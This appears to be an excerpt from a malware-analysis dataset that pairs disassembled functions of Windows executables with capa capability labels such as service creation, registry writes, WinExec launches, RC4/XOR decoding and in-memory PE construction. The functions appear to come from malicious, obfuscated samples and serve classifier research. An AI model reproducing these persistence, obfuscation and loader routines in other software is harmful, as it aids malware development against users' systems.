joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ea0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x618
xor eax, eax
push ebp
mov dword [esp + 5], eax
push esi
mov dword [esp + 0xd], eax
push edi
mov dword [esp + 0x15], eax
mov ecx, 0xff
mov word [esp + 0x19], ax
lea edi, [esp + 0x225]
mov byte [esp + 0x1b], al
mov byte [esp + 0x224], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x40644c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x224]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x228]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [esp + 0x10], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x228]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x406468
mov byte [esp + ecx + 0x228], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x124]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
push 5
push ecx
call fcn.00403760
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x120]
lea ecx, [esp + 0x1c]
push edx
push eax
push 0x406440
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x234]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x234]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea eax, [esp + 0x34]
push 0x40643c
push eax
call fcn.00402580
add esp, 0x20
test eax, eax
pop edi
pop esi
pop ebp
jne 0x401fc7
add esp, 0x618
ret
lea ecx, [esp + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, 1
add esp, 0x618
ret

Function at 0x402070
Capabilities:
Create service

Disassembly:
sub al, 0x22
add byte [eax], al
pop dx
pop esi
pop ebx
cmp ecx, edi
mov eax, ecx
ja 0x402064
mov edx, dword [ebp + 0x10]
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
mov cl, byte [eax]
mov bl, byte [edx]
cmp cl, bl
jne 0x40205f
mov ecx, dword [ebp + 0x14]
lea edi, [edx + 1]
dec ecx
lea esi, [eax + 1]
xor ebx, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x402066
mov edi, dword [ebp + 8]
inc eax
cmp eax, edi
jbe 0x40202f
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push ebp
mov ebp, esp
jp 0x402097
push eax
mov ax, 0xea42
pop eax
jnp 0x402097
pop eax
mov edx, 0xb7bc9ea5
jb 0x4020b8
jp 0x40201e
test cl, 0x87
xor esp, esi
cwde
push edx
mov eax, dword [ebp + 0x10]
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push 0
push 0
push eax
mov eax, dword [ebp + 0xc]
push 1
push 0
push 1
push 0xf01ff
push eax
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x4020c5
pop ebp
ret
jb 0x4020d6
nop
nop
nop
nop
jae 0x4020d6
xor edi, dword [edi + 0xe58be73]
lea ebx, [ebp + 0x15ff5076]
adc byte [eax + 0x40], dl
add byte [eax + 1], bh
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
pop ebp
ret
Function at 0x402580
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x40259e
pop esi
pop ebp
ret
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push esi
push edx
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
push ecx
xor ecx, 0x6dd
inc cx
cmp cl, 0x23
add ch, al
xor ecx, edx
cmp cl, cl
test ch, 0x2b
cmp cx, cx
cmp ch, 0x51
or ecx, ecx
pop ecx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop esi
pop ebp
ret

Function at 0x4025f0
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
mov dword [ebp + 0xc], eax
jne 0x40262c
pop edi
pop esi
pop ebx
pop ebp
ret
push ebx
push cx
test dx, cx
test bl, ch
test cl, 0x43
and ch, bh
or cl, bl
and cx, di
pop cx
pop ebx
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp + 8], eax
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4027b0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov dword [ebp - 4], 0
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
lea eax, [ebp - 4]
push eax
call fcn.00403b30
add esp, 4
test eax, eax
jne 0x4027de
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
push dx
xor ch, ah
or cl, dl
sub dl, 0x3f
inc ch
test esi, ecx
test ch, 0x27
pop dx
pop ecx
mov eax, dword [ebp - 4]
test eax, eax
jne 0x402801
xor eax, eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ax
xor al, bl
add ah, 0x25
cmp ax, dx
sub ax, dx
or ebx, 0x62f5
cmp ebx, edi
or ax, bx
test bl, 1
pop ax
pop ebx
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 1
push 0x406248
push 0x406208
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
neg eax
sbb eax, eax
pop edi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4033f0
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 4], 0xffffffff
call dword [0x41c984]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
jne 0x403420
or eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x130], 0x128
rep stosd dword es:[edi], eax
jp 0x403455
mov ebx, ebx
mov esi, esi
xchg bx, bx
jnp 0x403455
psrlw mm1, qword [edx + 0x13]
enter 0x626d, 0x3f
daa
in eax, 0x78
retf
lea eax, [ebp - 0x130]
push eax
push esi
call dword [0x41c988]
test eax, eax
je 0x4034b4
mov edi, dword [ebp + 8]
push ebx
test bl, 0x4d
pop ebx
lea ecx, [ebp - 0x10c]
push edi
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x403498
lea edx, [ebp - 0x130]
push edx
push esi
call dword [0x41c98c]
test eax, eax
je 0x4034b4
jmp 0x40346a
pushal
test ax, 0xc7b
test ah, ch
or cx, 0x31fd
mov bx, ax
popal
mov eax, dword [ebp - 0x128]
mov esi, dword [ebp - 8]
mov dword [ebp - 4], eax
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403670
Capabilities:
Delete registry key
Set registry value

Disassembly:
sub esp, 0x114
xor ecx, ecx
xor al, al
mov dword [esp + 1], ecx
push esi
mov dword [esp + 9], ecx
push edi
mov dword [esp + 0x11], ecx
mov byte [esp + 8], al
mov word [esp + 0x15], cx
mov byte [esp + 0x18], al
mov byte [esp + 0x17], cl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x19]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00402920
lea edx, [esp + 8]
push 5
push edx
call fcn.00403760
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 8
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push 0x406320
push ecx
call edi
add esp, 0xc
push 0x406364
push 0x80000000
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea edx, [esp + 8]
push 0x10
push edx
push 1
push 0x41c980
push 0x406364
push 0x80000000
call esi
push 0x4b
push 0x406398
push 1
lea eax, [esp + 0x24]
push 0x41c980
push eax
push 0x80000000
call esi
lea ecx, [esp + 8]
lea edx, [esp + 0x18]
push ecx
push 0x4063e4
push edx
call edi
add esp, 0xc
lea eax, [esp + 0x18]
push 0x14
push 0x406428
push 1
push 0x406420
push eax
push 0x80000000
call esi
pop edi
pop esi
add esp, 0x114
ret
Function at 0x4039b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x22b]
mov byte [ebp - 0x22c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x127]
mov byte [ebp - 0x128], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x22c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push edx
push edi
sub dx, dx
cmp edx, ecx
cmp dx, ax
test edx, 0x4d5b
sub di, 0x50f1
mov di, 0x11cb
and di, ax
pop edi
pop edx
lea edi, [ebp - 0x22c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jbe 0x403a58
xchg bh, bh
mov ch, ch
xchg cl, cl
ja 0x403a58
mov edi, 0x40604c
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
push ecx
push edx
test cx, 0x7529
cmp cx, 0x2eaa
dec al
add ecx, 0x45fb
cmp ah, 0x7c
mov al, 0x3a
inc dx
cmp ah, 0x36
and cl, 0x44
pop edx
pop ecx
pop eax
lea eax, [ebp - 0x24]
lea ecx, [ebp - 0x128]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesExA]
mov edx, dword [ebp + 8]
push edx
call fcn.00401e30
mov esi, eax
add esp, 4
cmp esi, 0xffffffff
jne 0x403adb
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
jbe 0x403afd
push si
mov si, 0x5c11
pop si
ja 0x403afd
jo 0x403aab
push cs
invalid
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x20]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403b30
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
mov dword [ebp - 0xc], 0x104
push ecx
and ch, al
cmp ch, 0x21
test ch, 0x5b
cmp ecx, edx
test ecx, 0x709c
xor ch, 6
pop ecx
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x218]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x403b70
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0x104
mov dword [ebp - 8], 0x104
js 0x403b8c
jns 0x403b8c
add eax, 0x8df0558d
inc ebp
clc
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
push edx
lea ecx, [ebp - 0x31c]
push eax
lea edx, [ebp - 4]
push ecx
lea eax, [ebp - 0x114]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x403bbe
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x403bd7
push edx
mov dx, 0xecd6
pop edx
jae 0x403bd7
cmc
adc eax, 0x7c8ecb0d
xor dword [esi + 0x43d1773a], 0x8b27e95e
push ebp
or byte [ebp - 0x1137b], cl
call dword [edx + 0x50]
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
test eax, eax
jne 0x403bf1
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
xor eax, eax
mov ecx, pe_nt_image_headers32
lea edi, [ebp - 0x10b]
mov dword [ebp - 8], eax
mov byte [ebp - 0x10c], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pushal
test bx, 0xa43
cmp ch, 0x6e
sub ch, bl
cmp dx, 0x7a98
sub ecx, edx
popal
call fcn.00402920
push eax
push bx
test ax, 0x826
sub bl, 0x12
test bx, 0x3c13
test ah, 0x56
cmp bx, dx
pop bx
pop eax
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov dword [ebp - 4], 0
call fcn.00402670
mov esi, eax
call fcn.00402670
mov edi, eax
call fcn.00402670
push esi
mov esi, dword [ebp + 0x10]
push esi
mov ebx, eax
call fcn.00403760
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00403760
push ebx
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.00403760
add esp, 0x18
lea ecx, [ebp - 0x10c]
lea edx, [ebp - 0x314]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
push 0x406028
push edx
call esi
lea eax, [ebp - 0x314]
push eax
call fcn.00402260
add esp, 0x14
test eax, eax
je 0x403eb7
lea ecx, [ebp - 0x10c]
push edi
push ecx
lea edx, [ebp - 0x210]
push 0x406034
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.00402260
add esp, 0x14
test eax, eax
je 0x403eb7
lea ecx, [ebp - 0x10c]
push ebx
push ecx
lea edx, [ebp - 0x210]
push 0x406034
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.00402260
add esp, 0x14
test eax, eax
jne 0x403ecc
mov eax, dword [ebp - 4]
inc eax
cmp eax, 3
mov dword [ebp - 4], eax
jl 0x403e00
mov esi, dword [ebp - 8]
jmp 0x403ed1
mov esi, 1
mov ecx, dword [ebp + 0x14]
push 4
push ecx
call fcn.00403760
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100024f2
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x2041b0]
mov eax, dword [ecx + 0x3c]
sub esp, 0x2c
add eax, ecx
movzx edx, word [eax + 0x14]
push ebx
push esi
movzx esi, word [eax + 6]
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
lea eax, [edx + eax + 0x18]
xor edx, edx
cmp dword [eax + 4], ebx
jne 0x10002528
cmp dword [eax], 0x7373622e
jne 0x10002528
mov edx, eax
add eax, 0x28
dec esi
je 0x10002532
test edx, edx
je 0x10002519
test edx, edx
je 0x10002550
mov eax, dword [edx + 0xc]
test eax, eax
je 0x1000254c
mov edx, dword [edx + 0x10]
test edx, edx
je 0x1000254c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], edx
jmp 0x10002553
push 0xb
jmp 0x10002552
push 2
pop ebx
mov dword [ebp - 0x14], ebx
test ebx, ebx
jne 0x10002660
mov esi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
and esi, 0xfff
neg esi
sbb esi, esi
shr eax, 0xc
neg esi
add esi, eax
mov eax, dword [ebp - 0x18]
add eax, ecx
mov dword [ebp - 0xc], eax
mov eax, esi
shl eax, 0xc
push eax
call fcn.100024dd
mov ebx, eax
mov dword [ebp - 0x2c], ebx
test ebx, ebx
je 0x10002659
lea edx, [edi - 1]
and edx, 1
cmp edx, esi
jae 0x1000262f
sub eax, dword [ebp - 0xc]
mov ecx, edx
lea edi, [eax + edi + 0x2051b9]
mov eax, dword [ebp - 0xc]
shl ecx, 0xc
add ecx, ebx
sub eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov ebx, dword [ebp + 8]
sub eax, edx
and dword [ebp - 0x1c], 0
lea eax, [eax + ebx - 0x7e47c835]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 8], 0x400
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 4]
mov eax, dword [eax + ebx]
mov dword [ebp - 0x28], eax
test eax, eax
je 0x10002605
mov ebx, dword [ebp - 0x1c]
sub ebx, dword [ebp - 0x24]
add eax, ebx
mov ebx, dword [ebp - 0x28]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ebx], eax
jmp 0x1000260c
mov dword [ebp - 8], 1
dec dword [ebp - 8]
jne 0x100025dc
mov eax, dword [edi + 4]
sub eax, dword [edi + 8]
add ecx, 0x1000
add eax, dword [edi + 0xc]
inc edx
mov dword [0x2041c0], eax
cmp edx, esi
jb 0x100025bc
mov ebx, dword [ebp - 0x2c]
jmp 0x10002634
mov eax, dword [0x2041c0]
cmp eax, 0x43175ac3
jne 0x1000264a
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov edx, ebx
call 0x10002da2
jmp 0x10002651
mov dword [ebp - 0x14], 0x15
push ebx
call 0x10002932
jmp 0x10002660
mov dword [ebp - 0x14], 8
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x1015144e
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x10193e40], 0
mov byte [0x10193e44], 0
mov dword [0x10193e3c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10193e38], 0x2469
mov eax, dword [0x10193e3c]
add eax, 1
mov dword [0x10193e3c], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10151489
mov dword [0x10193e3c], 0
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x101514ca
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10193e48], 0
mov edi, dword [0x10193e40]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10193e48], esi
mov dword [0x10193e38], 0x16c0
mov eax, esi
cdq
idiv ecx
mov dword [0x10193e40], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x10193e44], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x10193e44]
mov esi, dword [0x10193e40]
mov byte [ebx + esi], cl
mov esi, dword [0x10193e3c]
add esi, 1
mov dword [0x10193e3c], esi
cmp esi, 0x100
mov dword [ebp - 0x20], esi
jl 0x101514ca
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10151569
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov dword [0x10193e38], 0x288
mov dword [0x10193e34], 0xffffeb8f
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
lea edx, section..data
mov esi, eax
add esi, 1
imul edi, eax, 0xd0
mov ebx, edx
add ebx, edi
add ebx, 0xb4
imul eax, eax, 0xd0
add edx, eax
add edx, 0xcc
mov eax, dword [edx]
movzx edx, word [ebx]
xor edx, eax
add edx, ecx
cmp esi, 0x4ea
mov eax, edx
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], esi
jne 0x101515a2
xor eax, eax
mov dword [0x10193e34], 0x1723
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x140]
mov cl, byte [eax + 0x1015334f]
mov dl, byte [eax + 0x10153320]
sub dl, cl
mov byte [ebp + eax - 0x12c], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x140], eax
jne 0x10151611
lea eax, [ebp - 0x12c]
mov dword [0x10193e38], 0xffff0dc0
mov dword [0x10193e34], 0x24bd
mov dword [ebp - 0x144], eax
call fcn.10152651
mov dword [esp], eax
mov eax, dword [ebp - 0x144]
mov dword [esp + 4], eax
call fcn.101511bc
mov ecx, eax
mov dword [0x10193e50], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov dword [0x10193e38], 0x1845
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, section..data
imul esi, eax, 0xd0
mov edi, edx
add edi, esi
add edi, 0xcc
mov esi, dword [edi]
imul edi, eax, 0xd0
mov ebx, edx
add ebx, edi
add ebx, 0x78
mov edi, dword [ebx]
imul ebx, eax, 0xd0
add edx, ebx
add edx, 0xb4
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edx
call fcn.10151c1f
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
add edx, 1
cmp edx, 0x4ea
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], edx
jne 0x101516c2
lea eax, str.TGt
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.1015144e
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.10151a14
mov eax, dword [0x10193e38]
add eax, 0x3d8
mov dword [0x10193e34], eax
mov eax, dword [ebp - 0x148]
add eax, 0x610f5
mov ecx, dword [ebp - 0x130]
mov dword [ecx], eax
mov dword [ecx + 4], 0x160000
xor eax, eax
mov ecx, dword [ebp - 0x148]
add ecx, 0x44c6e
mov edx, dword [ebp - 0x130]
mov dword [edx + 8], ecx
mov dword [0x10193e38], 0x741
mov dword [edx + 0xc], 0x2010
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1015181a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x58
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [0x10193e38]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
xor eax, eax
lea ecx, [ebp - 0x24]
mov edx, dword [ebp - 0x30]
add edx, 0x24c6
mov dword [0x10193e34], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jmp 0x10151872
mov eax, dword [ebp - 0x3c]
add eax, 0x1b8b
mov dword [0x10193e34], 0x1875
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
jmp 0x10151991
mov eax, dword [ebp - 0x38]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1015334f]
mov dh, byte [eax + 0x10153320]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x38], ecx
jne 0x10151872
mov eax, dword [ebp - 0x30]
add eax, 0xffff0b38
mov dword [0x10193e38], eax
mov dword [0x10193e34], 0xec8
call fcn.10152651
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101511bc
mov dword [ebp - 0x48], eax
xor eax, eax
mov dword [0x10193e34], 0x753
mov ecx, dword [ebp - 0x48]
cmp ecx, 0
mov dword [ebp - 0x44], eax
je 0x10151991
mov eax, dword [ebp - 0x48]
mov dword [0x10193e34], 0xdeb
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10193e38], 0x228e
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10151346
mov eax, dword [0x10193e38]
add eax, 0xffffe96a
mov dword [0x10193e34], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], eax
xor eax, eax
mov ecx, dword [ebp - 0x4c]
mov word [ecx], 0x5a4d
mov edx, dword [ebp - 0x3c]
mov dword [edx + 0x3c], 0xd0
mov dword [edx + 0xd0], 0x4550
add edx, 0xffc00000
mov esi, dword [ebp - 0x2c]
mov dword [esi + 8], edx
mov dword [0x10193e38], 0x1302
mov edx, dword [ebp - 0x3c]
mov dword [esi + 0x28], edx
cmp edx, 0
mov dword [ebp - 0x44], eax
jne 0x10151852
mov eax, dword [ebp - 0x44]
add esp, 0x58
pop esi
pop ebp
ret